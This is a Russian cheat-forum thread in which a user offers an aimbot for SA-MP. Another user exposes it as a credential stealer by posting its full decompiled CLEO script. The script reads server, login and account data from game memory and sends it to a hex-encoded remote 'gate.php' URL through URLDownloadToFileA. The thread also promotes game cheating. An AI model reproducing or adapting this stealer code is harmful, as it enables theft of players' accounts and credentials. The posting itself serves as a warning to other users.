[Undetected] AimBot for Samp and Advance - Форум Cheat-Master.ru
  • Страница 1 из 1
  • 1
Модератор форума: Admin_Bot, Admin_Bot2, Admin_Bot3, Admin_Bot4  
[Undetected] AimBot for Samp and Advance
luckerAIM Дата: Пятница, 18.07.2014, 19:48 | Сообщение # 1
Новичок
Сообщений: 2
Статус: Offline
Приветствую всех ;)

Недавно нашел хороший аимбот. По скину. Прицел наводит плавно. Не палиться. 1 - в том что иногда не попадает когда стреляеш в бегающего. Во время дуэлей то что надо. Я понимаю что эти аимботы всех достали, но может быть кому-нибудь пригодится.)

Короче вот краткое описание: Хорошо попадает по скину. Срабатывает когда вы прицелились в скин и выстрелили. Затем прицел аккуратно начинает следовать за ним. Активация автоматическая

Видосик:

Ссылка: http://rghost.ru/56964877


Сообщение отредактировал luckerAIM - Пятница, 18.07.2014, 19:50
Druid_g-ka Дата: Пятница, 18.07.2014, 19:54 | Сообщение # 2
Новичок
Сообщений: 27
Статус: Offline
В AimBot.cs - стиллер
Не качайте.
В aimSetting.cs - просто аим от opcode
luckerAIM Дата: Пятница, 18.07.2014, 19:56 | Сообщение # 3
Новичок
Сообщений: 2
Статус: Offline
Druid_g-ka, клевета, не слушайте.[b]
Druid_g-ka Дата: Пятница, 18.07.2014, 20:00 | Сообщение # 4
Новичок
Сообщений: 27
Статус: Offline
Ну ну..
Код

// This file was decompiled using SASCM.ini published by Seemann (http://sannybuilder.com/files/SASCM.rar) on 13.10.2007
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP  
0AA2: 31@ = load_library "kernel32.dll" // IF and SET  
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET  
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@   
0@ += 371500  
0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1  
0@ += 4  
0A8C: write_memory 0@ size 1 value 144 virtual_protect 1  
0@ += 9  
0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1  
0@ += 4  
0A8C: write_memory 0@ size 1 value 144 virtual_protect 1  

:Noname_153
wait 0  
0AA2: 31@ = load_library "kernel32.dll" // IF and SET  
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET  
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@   
0A8E: 3@ = 0@ + 2173568 // int  
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1  
if  
   2@ > 1000  
else_jump @Noname_153  
0A8E: 22@ = 2@ + 985 // int  
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1  
if  
   2@ > 1000  
else_jump @Noname_153  
0A8E: 5@ = 23@ + 20 // int  
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1  
if  
   4@ > 1000  
else_jump @Noname_153  
0A8E: 5@ = 4@ + 34 // int  
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1  
if  
   24@ > 1000  
else_jump @Noname_153  
0A8E: 22@ = 0@ + 2173504 // int  
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1  
if  
   1@ > 1000  
else_jump @Noname_153  
0A8E: 7@ = 1@ + 40 // int  
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1  
0A8E: 5@ = 1@ + 44 // int  
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1  
if  
   6@ == 1  
else_jump @Noname_531  
if or
   26@ == 1  
   26@ == 3  
else_jump @Noname_531  
25@ = 1  

:Noname_531
if and
   25@ == 1  
    not 6@ == 1  
else_jump @Noname_1008  
0A8E: 7@ = 1@ + 48 // int  
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1  
0A8E: 6@ = 1@ + 36 // int  
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1  
0A8E: 6@ = 0@ + 617008 // int  
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@   
0A8E: 6@ = 4@ + 26 // int  
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1  
0A8E: 7@ = 4@ + 10 // int  
if  
    not 23@ >= 16  
else_jump @Noname_694  
0085: 12@ = 7@ // (int)  
jump @Noname_706  

:Noname_694
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1  

:Noname_706
0A8E: 9@ = 2@ + 710 // int  
0A8E: 14@ = 2@ + 452 // int  
0A8E: 8@ = 2@ + 969 // int  
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1  
0A8E: 18@ = 4@ + 42 // int  
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1  
21@ = Player.Money($PLAYER_CHAR)
0AC6: 0@ = label @Noname_1015 offset  
alloc 20@ 1024  
13@ = 133  
format 20@ "%ssrvr=%s:%d&servname=%s&log=%s&did=%d&inf=%s&stuid=%d&money=%d&score=%d" 0@ 14@ 15@ 9@ 12@ 3@ 5@ 13@ 21@ 27@  
0AA2: 8@ = load_library "urlmon.dll" // IF and SET  
0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET  
0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 20@ 0   
25@ = 0  

:Noname_1008
jump @Noname_153  

:Noname_1015
hex
  68 74 74 70 3A 2F 2F 6B 61 74 2E 63 6D 68 6F 73
  74 2E 72 75 2F 67 61 74 65 2E 70 68 70 3F 00
end
SWAIZE Дата: Пятница, 18.07.2014, 20:22 | Сообщение # 5
Бывалый
Сообщений: 303
Статус: Offline
Согласен с постом выше,стиллер присутствует

-
Sergo_bro2 Дата: Вторник, 06.01.2015, 16:13 | Сообщение # 6
Coder
Сообщений: 892
Статус: Offline
Файл удален

CS:GO RANK: SUPREME*Клац*
[b][+]Skype: sergeiplugatyr

  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума